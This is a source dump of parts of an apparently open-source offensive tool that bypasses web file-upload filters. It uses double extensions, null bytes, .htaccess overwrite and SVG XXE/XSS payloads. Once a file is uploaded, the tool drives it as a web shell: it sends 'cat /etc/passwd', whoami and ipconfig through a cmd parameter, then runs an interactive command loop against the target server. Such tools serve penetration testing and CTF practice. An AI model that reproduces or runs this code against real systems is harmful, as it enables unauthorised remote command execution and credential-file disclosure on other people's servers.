220 | for i in root:
221 | # Search for the 'request' element in the XML and extracting its text content
222 | request = i.find('request').text
223 |
224 | # Decode the base64 encoded content
225 | content = base64.b64decode(request)
226 |
227 | # Decode the content from latin-1 encoding
228 | request = content.decode('latin-1')
229 |
230 | except:
231 | # Open the request file as text
232 | with open(request_file, "r") as f:
233 | request = f.read()
234 |
235 | try:
236 | # Load all allowed extensions from the config file
237 | extensions = config.extensions['allow_list']
238 | allowed_extension = []
239 |
240 | # Iterate each extension loaded from the config file
241 | for extension in extensions:
242 |
243 | info(f"Checking if {extension} is permitted...")
244 |
245 | headers, url, file_name, host = parse_headers(options, request, extension)
246 |
247 | # Add variables to an argparse namespace, so it can be accessible in modules easily
248 | options.host = host
249 | options.url = url
250 |
251 | # Replace with the actual local file path
252 | with open(f"assets/samples/sample.{extension}", 'rb') as file:
253 | file_data = file.read()
254 |
255 | file_data = file_data.decode('latin-1')
256 | mimetype = config.mimetypes[extension]
257 | xml_mimetypes = config.xml_mimetypes
258 | request = request.replace("\r\n", "\n").replace("\n", "\r\n")
259 | # Replace marker with a filename
260 | content = request.replace(config.filename_marker, file_name)
261 |
262 | xml = False
263 | # Auto-detect xml and base64 the data binary
264 | for xml_mime in xml_mimetypes:
265 | if xml_mime in str(headers):
266 | xml = True
267 | break
268 |
269 | # Auto-detect JSON and base64 the data binary
270 | if "application/json" in str(headers):
271 | if isinstance(file_data, bytes):
272 | file_data = base64.b64encode(file_data)
273 | else:
274 | file_data = base64.b64encode(file_data.encode('latin-1'))
275 |
276 | elif options.base64:
277 | if isinstance(file_data, bytes):
278 | file_data = base64.b64encode(file_data)
279 | else:
280 | file_data = base64.b64encode(file_data.encode('latin-1'))
281 |
282 | else:
283 | if not xml:
284 | if isinstance(file_data, bytes):
285 | file_data = file_data.decode('latin-1')
286 | # Replace marker with binary data
287 | content = content.replace(config.data_marker, file_data)
288 | else:
289 | content = content.replace(config.data_marker, file_data)
290 | else:
291 | if isinstance(file_data, bytes):
292 | file_data = base64.b64encode(file_data)
293 | else:
294 | file_data = base64.b64encode(file_data.encode('latin-1'))
295 |
296 | if isinstance(file_data, bytes):
297 | content = content.replace(config.data_marker, file_data.decode('latin-1'))
298 | else:
299 | content = content.replace(config.data_marker, file_data)
300 |
301 | # Handle various newlines and carriage returns
302 | try:
303 | content = content.split('\r\n\r\n', 1)
304 | body = content[1]
305 | except IndexError:
306 | try:
307 | content = content.split('\n\n', 1)
308 | body = content[1]
309 | except AttributeError:
310 | content = content[0]
311 | content = content.split('\n\n', 1)
312 | body = content[1]
313 |
314 | # Replace the mimetype marker with the file's mimetype
315 | data = body.replace(config.mimetype_marker, mimetype)
316 |
317 | try:
318 | data = data.encode("latin-1")
319 | except UnicodeDecodeError:
320 | data = data.encode("utf-8")
321 |
322 | if "application/json" not in str(headers):
323 | data_type = "raw"
324 |
325 | else:
326 | data_type = "json"
327 | data = json.loads(data)
328 |
329 | # Send the request
330 | status_code, response = make_request(data, session, headers, options, url, data_type)
331 |
332 | allowed_extension = response_message(options, status_code, allowed_extension, extension, response)
333 |
334 | # Check if allowed extensions is not empty
335 | if len(allowed_extension) > 0:
336 | success(f"{allowed_extension[0]} found to be permitted, adding it for future requests.")
337 | time.sleep(2)
338 | break
339 |
340 | return allowed_extension
341 |
342 | except Exception as e:
343 |
344 | if options.debug:
345 |
346 | # Check if debug mode is activated
347 | debug_mode = options.debug
348 | # Print the stack trace to the screen
349 | traceback.print_exc()
350 |
351 | # Save the stack trace to the 'debug' directory
352 | save_stack_trace(debug_mode, sys.argv, options.request_file)
353 | else:
354 | error(f'{e}\n{red}[-]{reset} For a full stack trace error use the --debug flag')
355 |
--------------------------------------------------------------------------------
/lib/interactive_shell.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | # This script contains functions for sending requests, interactive shell, and response checking.
4 |
5 | # Import necessary modules
6 | import urllib
7 | from urllib.parse import urljoin, unquote
8 | from .results_output import *
9 | from . import alerts
10 | from . import file_upload
11 | from . import config
12 | import base64
13 | import re
14 |
15 | def web_shell(options, headers, file_name, parameter_exists, operating_system):
16 | # Loop to run user commands on the target machine
17 | while True:
18 | try:
19 | if options.brute_force:
20 | alerts.warning("To exit interactive shell type exit, to continue the scan CTRL + C")
21 | else:
22 | alerts.warning("To exit interactive shell type exit or press CTRL + C")
23 |
24 | file_name = unquote(file_name)
25 | partial_url = urljoin(options.url, options.upload_dir)
26 | if operating_system == "Linux":
27 | if parameter_exists:
28 | final_url = f"{partial_url}{file_name}&cmd=whoami"
29 | else:
30 | final_url = f"{partial_url}{file_name}?cmd=whoami"
31 |
32 | response, final_url = file_upload.send_get_request(headers, options, final_url)
33 | # Display # if the shell is accessed with the root user
34 | if 'root' in response.text:
35 | command = input(f"\n{green}└─# {reset}") # User input command to execute on the target machine
36 | # Display $ if the shell isn't accessed with the root user
37 | else:
38 | command = input(f"\n{green}└─$ {reset}") # User input command to execute on the target machine
39 |
40 | else:
41 | if parameter_exists:
42 | final_url = f"{partial_url}{file_name}&cmd=whoami /groups"
43 | else:
44 | final_url = f"{partial_url}{file_name}?cmd=whoami /groups"
45 |
46 | response, final_url = file_upload.send_get_request(headers, options, final_url)
47 | # Display # if the shell is accessed with the root user
48 | if 'BUILTIN\Administrators' in response.text:
49 | command = input(f"\n[Administrator] > ") # User input command to execute on the target machine
50 | # Display $ if the shell isn't accessed with the root user
51 | else:
52 | command = input(f"\n[User] > ") # User input command to execute on the target machine
53 |
54 | cmd_encoded = urllib.parse.quote(command) # Encode the user command
55 |
56 | if parameter_exists:
57 | final_url = f"{partial_url}{file_name}&cmd={cmd_encoded}"
58 | else:
59 | final_url = f"{partial_url}{file_name}?cmd={cmd_encoded}"
60 |
61 | # Split the URL to capture the user's command
62 | user_command = final_url.split("=")
63 | user_command = user_command[-1]
64 |
65 | if 'exit' in user_command.lower():
66 | exit(1)
67 |
68 | response, final_url = file_upload.send_get_request(headers, options, final_url)
69 |
70 | if "BEGIN:" in response.text:
71 | # Define the pattern for extracting text between "BEGIN:" and ":END"
72 | pattern = re.compile(r'BEGIN:(.*?)\:END', re.DOTALL)
73 | match = pattern.search(response.text)
74 |
75 | if match:
76 | response_text = match.group(1).strip() # strip() removes any extra whitespace
77 |
78 | print("")
79 | if "BEGIN:" in response.text:
80 | print(response_text)
81 | else:
82 | print(response.text.rstrip())
83 |
84 | if 'clear' in user_command.lower():
85 | print("\033c", end="")
86 | else:
87 | # Display the command executed and the response received
88 | alerts.info(f"URL: {final_url.lstrip()}")
89 |
90 | except KeyboardInterrupt:
91 |
92 | if not options.brute_force:
93 | # Handle keyboard interrupt exception if the user stops the script execution
94 | print("")
95 | alerts.error("Keyboard interrupt exception is caught!")
96 | else:
97 | break
98 |
99 |
100 | # Function for interactive shell
101 | def interactive_shell(options, headers, file_name, content_type, upload_dir, is_magic_bytes, allowed_extension,
102 | current_time, response, user_options, skip_module, module, exploit_machine=None, filename_without_nullbyte=None):
103 | file_name_to_save_in_file = file_name.encode("latin-1")
104 |
105 | if not isinstance(is_magic_bytes, bool):
106 | is_magic_bytes = base64.b64encode(is_magic_bytes).decode('latin-1')
107 |
108 | if filename_without_nullbyte:
109 | file_name = filename_without_nullbyte
110 |
111 | if exploit_machine or options.upload_dir != 'optional' and options.exploitation and not skip_module:
112 | parameter_exists = False
113 | if options.upload_dir.endswith("=/"):
114 | options.upload_dir = options.upload_dir[:-1]
115 | parameter_exists = True
116 |
117 | if "?" in options.upload_dir:
118 | parameter_exists = True
119 |
120 | file_name = unquote(file_name)
121 |
122 | # Removing trailing extension
123 | if module in config.original_filenames:
124 | split_file_name = file_name.split(".", 1)
125 | tmp_file_name = split_file_name[0]
126 | file_name = tmp_file_name + "." + options.current_extension_tested
127 |
128 | partial_url = urljoin(options.url, options.upload_dir)
129 |
130 | if parameter_exists:
131 | final_url = f"{partial_url}{file_name}&cmd=cat /etc/passwd"
132 | else:
133 | final_url = f"{partial_url}{file_name}?cmd=cat /etc/passwd"
134 |
135 | response, final_url = file_upload.send_get_request(headers, options, final_url)
136 |
137 | # Validating the shell
138 | if 'root' in response.text:
139 | if isinstance(file_name, bytes):
140 | file_name = file_name.decode('latin-1')
141 |
142 | file_upload.printing(options, user_options, response, file_name, 100, current_time,
143 | options.current_module, is_magic_bytes, options.current_mimetype)
144 |
145 | alerts.warning("Interactive shell is activated, you can enter Linux system commands: ")
146 | results(options.url, file_name_to_save_in_file, content_type, upload_dir, is_magic_bytes,
147 | options.output_dir, allowed_extension,
148 | current_time, module)
149 | operating_system = "Linux"
150 | web_shell(options, headers, file_name, parameter_exists, operating_system)
151 |
152 | # Validating the shell
153 | if 'root' not in response.text:
154 | if parameter_exists:
155 | final_url = f"{partial_url}{file_name}&cmd=ipconfig"
156 | else:
157 | final_url = f"{partial_url}{file_name}?cmd=ipconfig"
158 |
159 | response, final_url = file_upload.send_get_request(headers, options, final_url)
160 | if 'Default Gateway' in response.text:
161 | if isinstance(file_name, bytes):
162 | file_name = file_name.decode('latin-1')
163 | file_upload.printing(options, user_options, response, file_name, 100, current_time,
164 | options.current_module, is_magic_bytes, options.current_mimetype)
165 | alerts.warning("Interactive shell is activated, you can enter Windows system commands: ")
166 | results(options.url, file_name_to_save_in_file, content_type, upload_dir, is_magic_bytes,
167 | options.output_dir, allowed_extension,
168 | current_time, module)
169 | operating_system = "Windows"
170 | web_shell(options, headers, file_name, parameter_exists, operating_system)
171 |
172 | else:
173 |
174 | if options.upload_dir != 'optional' and not skip_module:
175 |
176 | if options.upload_dir.endswith("=/"):
177 | options.upload_dir = options.upload_dir[:-1]
178 |
179 | file_name_to_save_in_file = file_name.encode("latin-1")
180 | file_name = unquote(file_name)
181 |
182 | # Removing trailing extension
183 | if module in config.original_filenames:
184 | split_file_name = file_name.split(".", 1)
185 | tmp_file_name = split_file_name[0]
186 | file_name = tmp_file_name + "." + options.current_extension_tested
187 |
188 | partial_url = urljoin(options.url, options.upload_dir)
189 | final_url = f"{partial_url}{file_name}"
190 |
191 | response, final_url = file_upload.send_get_request(headers, options, final_url)
192 | file_data = open(f"assets/samples/sample.{options.file_extension}", 'r', encoding="latin-1")
193 | file_data = file_data.read()
194 | response_text = response.text
195 | if "BEGIN:" in response_text and file_data not in response_text:
196 | # Define the pattern for extracting text between "BEGIN:" and ":END"
197 | pattern = re.compile(r'BEGIN:(.*?)\:END', re.DOTALL)
198 | match = pattern.search(response_text)
199 |
200 | if match:
201 | response_text = match.group(1).strip() # strip() removes any extra whitespace
202 |
203 | if "Is this message being rendered?" in response_text and file_data not in response_text:
204 | success(
205 | f"The sample file was executed and rendered successfully as {config.mimetypes[options.file_extension]}, congrats!")
206 | while True:
207 | exploit_answer = input(
208 | f"\n{blue}[i]{reset} Would you like to exploit the system and upload an interactive shell? y/n: ").lower()
209 |
210 | if exploit_answer == "y" or exploit_answer == 'yes':
211 |
212 | exploit_machine = True
213 | return exploit_machine
214 |
215 | elif exploit_answer == "n" or exploit_answer == 'no':
216 | if not options.brute_force:
217 | if isinstance(file_name, bytes):
218 | file_name = file_name.decode('latin-1')
219 | file_upload.printing(options, user_options, response, file_name, 100, current_time,
220 | options.current_module,
221 | is_magic_bytes, options.current_mimetype)
222 | # Display upload successful message and location to access the file
223 | alerts.success(f"File uploaded successfully with: {file_name}")
224 | if not skip_module:
225 | results(options.url, file_name_to_save_in_file, content_type, upload_dir,
226 | is_magic_bytes, options.output_dir, allowed_extension,
227 | current_time, module)
228 | exit(1)
229 | else:
230 | return exploit_machine
231 |
232 | else:
233 | info("Choose either y or n!")
234 |
235 | else:
236 |
237 | file_name_to_save_in_file = file_name.encode('latin-1')
238 |
239 | if not options.brute_force:
240 | if isinstance(file_name, bytes):
241 | file_name = file_name.decode('latin-1')
242 | file_upload.printing(options, user_options, response, file_name, 100, current_time,
243 | options.current_module,
244 | is_magic_bytes, options.current_mimetype)
245 | # Display upload successful message and location to access the file
246 | alerts.success(f"File uploaded successfully with: {file_name}")
247 | if not skip_module:
248 | results(options.url, file_name_to_save_in_file, content_type, upload_dir, is_magic_bytes,
249 | options.output_dir, allowed_extension,
250 | current_time, module)
251 | exit(1)
252 | else:
253 | results(options.url, file_name_to_save_in_file, content_type, upload_dir, is_magic_bytes,
254 | options.output_dir, allowed_extension,
255 | current_time, module)
256 | alerts.success(f"File uploaded successfully with: {file_name}")
257 | return exploit_machine
258 |
259 |
260 | # Function for response checking
261 | def response_check(options, headers, file_name, content_type, upload_dir, is_magic_bytes, allowed_extension,
262 | current_time,
263 | response, user_options, skip_module, module, filename_without_nullbyte=None):
264 | text_or_code = options.text_or_code
265 | response_status = ""
266 | exploit_machine = False
267 |
268 | if str(text_or_code).isdigit():
269 |
270 | # Check if response is match the status code in message
271 | if options.text_or_code == response.status_code: # If status code is equals to the status code of the response
272 | response_status = "success"
273 | exploit_machine = interactive_shell(options, headers, file_name, content_type, upload_dir, is_magic_bytes,
274 | allowed_extension, current_time, response, user_options, skip_module,
275 | module, exploit_machine, filename_without_nullbyte)
276 |
277 | else:
278 | response_status = "fail"
279 |
280 | elif text_or_code == 'success_message':
281 |
282 | # Check if success_message in the response
283 | if options.upload_message in response.text: # If success text is present in the response body
284 | response_status = "success"
285 | exploit_machine = interactive_shell(options, headers, file_name, content_type, upload_dir, is_magic_bytes,
286 | allowed_extension, current_time, response, user_options, skip_module,
287 | module, exploit_machine, filename_without_nullbyte)
288 |
289 | else:
290 | response_status = "fail"
291 |
292 | elif text_or_code == 'failure_message':
293 |
294 | # Check if failure message not in response
295 | if options.upload_message not in response.text: # If success text is present in the response body
296 | response_status = "success"
297 | exploit_machine = interactive_shell(options, headers, file_name, content_type, upload_dir, is_magic_bytes,
298 | allowed_extension, current_time, response, user_options, skip_module,
299 | module, exploit_machine, filename_without_nullbyte)
300 |
301 | else:
302 | response_status = "fail"
303 |
304 | return response_status, exploit_machine
305 |
--------------------------------------------------------------------------------
/lib/list_modules.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | from .ansi_colors import *
4 | from lib.file_upload import get_terminal_size
5 |
6 |
7 | # Print all modules
8 | def list_all_modules():
9 |
10 | print("\033c", end="")
11 |
12 | # \033[1m is for a bold text
13 | # \033[0m for a reset
14 | # \033[1m\033[4m is for a bold and underline text
15 |
16 | terminal_width = get_terminal_size()
17 | print("_" * terminal_width)
18 | print(f"\033[1m\nextension_shuffle\033[0m:\n\nDifferent extensions allowed by the back-end engine (ex: php3,php3,phar).")
19 | print("_" * terminal_width)
20 | print(f"\033[1m\ndouble_extension\033[0m:\n\nDoubling the back-end extensions (ex: filename.php.php).")
21 | print("_" * terminal_width)
22 | print(f"\033[1m\npolyglot\033[0m:\n\nUploading a JPEG file that contains a PHP code, it useful when a server might try to verify certain intrinsic properties of an image, such as its dimensions.")
23 | print("_" * terminal_width)
24 | print(f"\033[1m\ndiscrepancy\033[0m:\n\nURL encoding (or double URL encoding) for dots. If the value isn't decoded when validating the file extension, but is later decoded server-side, this can allow to upload malicious files that would otherwise be blocked. Ex: exploit%2Ephp (Front-end) = exploit.php (Back-end)")
25 | print("_" * terminal_width)
26 | print(f"\033[1m\nforward_double_extension\033[0m:\n\nAllowed extension concatenated with the back-end extension (ex: filename.jpeg.php).")
27 | print("_" * terminal_width)
28 | print(f"\033[1m\nreverse_double_extension\033[0m:\n\nBack-end extension concatenated with the allowed extension (ex: filename.php.jpeg).\n{red}\033[1mWarning\033[0m{reset} - It will probably generate false-positive results! (Suitable for CTFs) - You can turn off the module by commenting it in the config.py file located in the lib directory.")
29 | print("_" * terminal_width)
30 | print(f"\033[1m\nstripping_extension\033[0m:\n\nSevers might strip forbidden extensions, for example .php will be stripped from the filename. Therefore, the program will try to upload filename.p.phphp which results in filename.php")
31 | print("_" * terminal_width)
32 | print(f"\033[1m\nnull_byte_cutoff\033[0m:\n\nAdding null bytes which ultimately should cut the rest of the extension (ex: filename.php%00.jpeg the result will be filename.php).\n{red}\033[1mWarning\033[0m{reset} - It will generate false-positive results if the system ignores null bytes! - You can turn off the module by commenting it in the config.py file located in the lib directory.")
33 | print("_" * terminal_width)
34 | print(f"\033[1m\nname_overflow_cutoff\033[0m:\n\nOverflowing the exceeding limit to cut the allowed extension (ex: Linux limit is 255 chars, A*251.php.jpeg = A*251.php - total 255 chars).")
35 | print("_" * terminal_width)
36 | print(f"\033[1m\npath_traversal\033[0m:\n\nBypassing .htaccess rules that apply in the current directory by uploading a file in a parent directory using path traversal vulnerability.")
37 | print("_" * terminal_width)
38 | print(f"\033[1m\nhtaccess_overwrite (works only with the exploitation mode)\033[0m:\n\nOver-writing the .htaccess rules to allow arbitrary file extension in the current directory and its sub-directories.")
39 | print("_" * terminal_width)
40 | print(f"\033[1m\nsvg_xxe (works only with the exploitation mode)\033[0m:\n\nUploading SVG with XML-External-Entity that reads the passwd file system.")
41 | print("_" * terminal_width)
42 | print(f"\033[1m\nsvg_xss (works only with the exploitation mode)\033[0m:\n\nUploading SVG with Cross-Site Scripting that executes an alert popup.")
43 | print("_" * terminal_width)
44 | exit(1)
45 |
--------------------------------------------------------------------------------
/lib/random_string.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | import random
4 | import string
5 |
6 |
7 | # Generate a random string based on a given length
8 | def generate_random_string(length):
9 | characters = string.ascii_letters + string.digits
10 | random_string = ''.join(random.choice(characters) for _ in range(length))
11 | return random_string
12 |
--------------------------------------------------------------------------------
/lib/results_output.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | import os
4 | from .alerts import *
5 | from urllib.parse import urlparse
6 | from .config import magic_bytes
7 |
8 |
9 | def results(url, file_name, content_type, upload_location, magic_byte, output_folder, allowed_extension, current_time, module):
10 | domain = get_domain_name(url)
11 | domain = domain.split(":")[0] # Windows cannot create a directory with a filename containing the colon sign (:) which notes the port number (i.e 127.0.0.1:8008)
12 |
13 | if not output_folder:
14 | folder_path = os.path.join(os.getcwd(), domain)
15 | if not os.path.exists(folder_path):
16 | os.makedirs(folder_path, exist_ok=True)
17 |
18 | # Save the results to results.txt
19 | file_path = os.path.join(folder_path, "results.txt")
20 | f = open(f"{file_path}", "a")
21 | success(f"Results saved in {os.getcwd()}/{domain}/results.txt")
22 |
23 | else:
24 | f = open(output_folder, "a")
25 |
26 | if not magic_byte:
27 | f.write("-------------------------------------------------------------------------------------------\n")
28 | f.write(
29 | f"File uploaded successfully with the extension: {file_name}\nContent-Type: {content_type}\nUpload Location: {upload_location}\nDate & Time: {current_time}\nModule: {module}\n\n")
30 | f.close()
31 | else:
32 | f.write("-------------------------------------------------------------------------------------------\n")
33 | f.write(
34 | f"File uploaded successfully with the extension: {file_name}\nContent-Type: {content_type}\nUpload Location: {upload_location}\nMagic Bytes: {magic_bytes[allowed_extension]}\nDate & Time: {current_time}Module: {module}\n\n")
35 | f.close()
36 |
37 |
38 | def get_domain_name(url):
39 | parsed_url = urlparse(url)
40 | domain_name = parsed_url.netloc
41 | return domain_name
42 |
--------------------------------------------------------------------------------
/lib/state.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | # Importing necessary libraries and modules
4 | import json
5 | import warnings
6 | import signal
7 | import sys
8 | import importlib
9 | import requests
10 | from .config import active_modules, dont_scan_module
11 | from .alerts import error, warning
12 | import datetime
13 | import argparse
14 | import ast
15 | import time
16 | import os
17 |
18 | # Ignore warnings
19 | warnings.filterwarnings("ignore")
20 |
21 |
22 | # Signal handler for CTRL + C
23 | def handler(signal, frame, data_to_save, host):
24 | """Signal handler for CTRL + C."""
25 | now = datetime.datetime.now()
26 | current_time = now.strftime("%d.%m.%Y_%H_%M_%S")
27 | host = host.split(":")[0] # Windows cannot create a directory with a filename containing the colon sign (:) which notes the port number (i.e 127.0.0.1:8008)
28 |
29 | directory = os.path.join(os.getcwd(), host)
30 | if not os.path.exists(directory):
31 | os.makedirs(directory, exist_ok=True)
32 |
33 | json_file = os.path.join(directory, f"{current_time}_{host}_state.json")
34 |
35 | # Save state to a JSON file
36 | with open(json_file, "w") as f:
37 | json.dump(data_to_save, f)
38 |
39 | # Print a message
40 | print(f"\n🚨 Caught Ctrl + C 🚨 saving state to {json_file}")
41 |
42 | sys.exit(0)
43 |
44 |
45 | # Function to save state to a JSON file before exiting
46 | def save_state(options, technique, allowed_extension, function_number, internal_progress, internal_total_iterations,
47 | total_functions, state_extensions):
48 | # Delete proxies from argparse object
49 | proxies = options.proxies
50 | del options.__dict__["proxies"]
51 | del options.__dict__["session"]
52 |
53 | # Create data to save
54 | data_to_save = {
55 | "extensions": state_extensions,
56 | "technique": technique,
57 | "total_functions": total_functions,
58 | "function_number": function_number,
59 | "internal_progress": internal_progress,
60 | "internal_total_iterations": internal_total_iterations,
61 | "allowedExtension": allowed_extension,
62 | "request_file": options.request_file,
63 | "proxies": proxies,
64 | "options": str(options)
65 | }
66 |
67 | host = options.host
68 |
69 | # Call the signal handler
70 | handler(signal.SIGINT, None, data_to_save, host)
71 |
72 |
73 | # Function to convert argparse.Namespace object to dictionary
74 | def convert_namespace(namespace_string):
75 | # Split argparse.NameSpace object to dictionary
76 | namespace_dict = {}
77 | for item in namespace_string.strip("Namespace()").split(","):
78 | key, value = item.strip().split("=")
79 | try:
80 | value = ast.literal_eval(value) # Attempt to evaluate simple values
81 | except (ValueError, SyntaxError):
82 | pass # Leave as string if evaluation fails
83 | namespace_dict[key] = value
84 |
85 | return namespace_dict
86 |
87 |
88 | # Function to resume state from a JSON file
89 | def resume_state(resume_file):
90 | try:
91 | # Load JSON data from the resume file
92 | with open(resume_file, "r") as file:
93 | loaded_json_data = json.load(file)
94 | technique = loaded_json_data['technique']
95 | leftover_extensions = loaded_json_data['extensions']
96 | proxies = loaded_json_data['proxies']
97 | options = loaded_json_data['options']
98 | options = convert_namespace(options)
99 | total_functions = loaded_json_data['total_functions']
100 | function_number = loaded_json_data["function_number"]
101 | internal_progress = loaded_json_data['internal_progress']
102 | internal_total_iterations = loaded_json_data["internal_total_iterations"]
103 |
104 | # Reconstruct the object back
105 | options = argparse.Namespace(**options)
106 | options.proxies = proxies
107 | options.session = requests.Session()
108 | allowed_extension = loaded_json_data['allowedExtension']
109 | request_file = loaded_json_data['request_file']
110 |
111 | modules = importlib.import_module("lib.modules")
112 | index = active_modules.index(technique)
113 | # Remove extensions that has been checked
114 | if index == 0:
115 | leftover_modules = active_modules[index:]
116 | else:
117 | leftover_modules = active_modules[index - 1:]
118 |
119 | # Resume state
120 | warning("Resuming state...")
121 | time.sleep(3)
122 | modules_to_test = []
123 |
124 | if options.exclude_modules or options.exclude_modules:
125 | if options.exclude_modules:
126 | if "," in options.exclude_modules:
127 | exclude_modules = options.exclude_modules.replace(" ", "").split(",")
128 | else:
129 | exclude_modules = options.exclude_modules
130 | exclude_modules = exclude_modules.split()
131 | for exclude_module in exclude_modules:
132 | leftover_modules.remove(exclude_module)
133 |
134 | elif options.include_modules:
135 | if "," in options.include_modules:
136 | include_modules = options.include_modules.replace(" ", "").split(",")
137 | else:
138 | include_modules = options.exclude_modules
139 | include_modules = include_modules.split()
140 | for include_module in include_modules:
141 | modules_to_test.append(include_module)
142 |
143 | leftover_modules = modules_to_test[:]
144 |
145 | # Exclude irrelevant modules for Anti-Malware and Detection mode
146 | elif options.anti_malware or options.detect:
147 | for forbidden_module in dont_scan_module:
148 | if forbidden_module in leftover_modules:
149 | leftover_modules.remove(forbidden_module)
150 |
151 | for module in leftover_modules:
152 | getattr(modules, module)(request_file, options, allowed_extension, function_number, total_functions,
153 | internal_progress, internal_total_iterations, leftover_extensions)
154 |
155 | except FileNotFoundError as e:
156 | error(e)
157 |
--------------------------------------------------------------------------------
/lib/update.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | # Import necessary libraries
4 | import requests
5 | import os
6 | import sys
7 | import zipfile
8 | import json
9 | import platform
10 | import zipfile
11 |
12 | # Import ANSI color codes from a custom module
13 | from .ansi_colors import *
14 | # Import Alerts
15 | from .alerts import *
16 |
17 | # Function to get the current version of the tool
18 | def get_current_version():
19 | # Read the current configuration
20 | with open("config/version.json", "r") as file:
21 | version = json.load(file)
22 |
23 | # Modify the current version
24 | current_version = version["current_version"]
25 |
26 | return current_version
27 |
28 |
29 | # Function to get both current and latest versions of the tool
30 | def get_current_and_latest_version():
31 | latest_version = ""
32 | current_version = get_current_version()
33 |
34 | # API endpoint for the latest release on GitHub
35 | repository = 'https://api.github.com/repos/sAjibuu/Upload_Bypass/releases/latest'
36 |
37 | # Send a GET request to the GitHub API
38 | response = requests.get(repository)
39 |
40 | # Check if the request was successful (status code 200)
41 | if response.status_code == 200:
42 | # Extract the latest version from the JSON response
43 | latest_version = response.json()['tag_name']
44 |
45 | return current_version, latest_version
46 |
47 | def create_delete_script(script_path, tool_directory):
48 | delete_script_path = os.path.join(script_path, os.pardir, "delete_script.bat")
49 | temp_delete_script_path = os.path.join(script_path, os.pardir, "temp_delete_script.bat")
50 |
51 | # Create the delete script
52 | with open(delete_script_path, "w") as delete_script:
53 | delete_script.write('@echo off\n')
54 | delete_script.write(f'rmdir /s /q "{tool_directory}"\n')
55 |
56 | # Create a temporary batch script to delete the original batch script
57 | delete_script.write(f'echo @echo off > "{temp_delete_script_path}"\n')
58 | delete_script.write(f'echo del "{delete_script_path}" >> "{temp_delete_script_path}"\n')
59 | delete_script.write(f'timeout 4 >> "{temp_delete_script_path}"\n') # Delay for about 5 seconds
60 | delete_script.write(f'echo del "{temp_delete_script_path}" >> "{temp_delete_script_path}"\n') # Delete temp script itself
61 |
62 | # Execute the temporary batch script
63 | delete_script.write(f'start cmd /c "{temp_delete_script_path}"\n')
64 |
65 | return delete_script_path
66 |
67 | # Function to check for updates and perform the update if available
68 | def check_for_updates():
69 | # API endpoint for the latest release on GitHub
70 | repository = 'https://api.github.com/repos/sAjibuu/Upload_Bypass/releases/latest'
71 |
72 | # Create a session for making requests
73 | session = requests.Session()
74 |
75 | # Send a GET request to the GitHub API
76 | response = session.get(repository)
77 |
78 | # Get the current version of the tool
79 | current_version = get_current_version()
80 |
81 | # Check if the request was successful (status code 200)
82 | if response.status_code == 200:
83 | # Extract the latest version from the JSON response
84 | latest_version = response.json()['tag_name']
85 |
86 | # Check if the latest version is different from the current version
87 | if latest_version != current_version:
88 | print('\nDownloading the latest version...')
89 |
90 | # Get the URL for assets associated with the latest release
91 | assets_url = response.json()['assets_url']
92 |
93 | # Send a GET request to the assets URL
94 | assets_response = session.get(assets_url)
95 |
96 | # Check if the request was successful (status code 200)
97 | if assets_response.status_code == 200:
98 | assets_json = assets_response.json()
99 | description = response.json()["body"]
100 |
101 | # Loop through each asset in the assets JSON
102 | for asset in assets_json:
103 | if asset['name'].endswith('.zip'):
104 | asset_url = asset['url']
105 |
106 | # Define headers for the asset request
107 | headers = {
108 | "Accept": "application/octet-stream"
109 | }
110 |
111 | # Get the name of the package
112 | package_name = asset['name']
113 |
114 | # Send a GET request to download the asset
115 | asset_response = session.get(asset_url, headers=headers)
116 |
117 | # Check if the request was successful (status code 200)
118 | if asset_response.status_code == 200:
119 | # Write the asset content to a file
120 | with open(asset['name'], 'wb') as f:
121 | f.write(asset_response.content)
122 |
123 | # Determine the platform
124 | platform_name = sys.platform
125 |
126 | # Handle Linux platform
127 | if "linux" in platform_name.lower():
128 | # Move the downloaded package to /tmp directory
129 | os.system(f"mv ./{package_name} /tmp/{package_name}")
130 | # Extract the package contents
131 | os.system(f"unzip -q /tmp/{package_name} -d /tmp")
132 | # Sync the extracted files to the current directory
133 | os.system(f"rsync --force -a /tmp/Upload_Bypass/* ./")
134 | # Clean up temporary files
135 | os.system(f"rm -rf /tmp/{package_name}")
136 | os.system(f"rm -rf /tmp/Upload_Bypass")
137 |
138 | print("Download complete.")
139 | print(f"\nUpgraded to: {latest_version}")
140 | print("\nRelease Notes:\n" + description)
141 | break
142 |
143 | elif "windows" in platform.system().lower():
144 |
145 | zip_file_name = package_name
146 |
147 | # Open the zip file
148 | with zipfile.ZipFile(zip_file_name, 'r') as zip_ref:
149 | # Extract all contents to the current folder
150 | zip_ref.extractall()
151 |
152 | # Close the zip file handle
153 | zip_ref.close()
154 | current_script_path = os.getcwd()
155 |
156 | parent_directory = os.path.abspath(os.path.join(current_script_path, os.pardir))
157 | os.system("move Upload_Bypass Upload_Bypass2")
158 | os.system("move Upload_Bypass2 ../")
159 |
160 | current_directory = os.getcwd()
161 |
162 | # Create the delete script
163 | delete_script_path = create_delete_script(current_script_path, current_directory)
164 |
165 | # Execute the delete script using subprocess
166 | import subprocess
167 |
168 | subprocess.call(delete_script_path, shell=True)
169 | temp_directory = parent_directory + "\\Upload_Bypass2"
170 | os.system(f'xcopy "{temp_directory}" "{current_script_path}" /E /H /C /I /Q')
171 | os.system(f'rmdir /S /Q "{temp_directory}"')
172 |
173 | print("\033c", end="")
174 | info("Download complete.")
175 | info(f"Upgraded to: {latest_version}")
176 | info(f"Upload Bypass is extracted and is available to use")
177 | info("Release Notes:")
178 | print("")
179 | print(description)
180 |
181 | # Terminate the script execution
182 | sys.exit()
183 |
184 |
185 | # If the latest version matches the current version
186 | else:
187 | info("You are already running the latest version.")
188 |
189 | # If unable to retrieve the latest version from GitHub
190 | else:
191 | error("Failed to retrieve the latest version from Github.")
192 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | Requests==2.31.0
--------------------------------------------------------------------------------
/test_files/file_blacklist_extension.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | File Uploader
5 |
6 |
7 |
8 |
30 |
31 |
37 |
38 |
39 |
40 |
--------------------------------------------------------------------------------
/test_files/file_blacklist_magicbyte.php:
--------------------------------------------------------------------------------
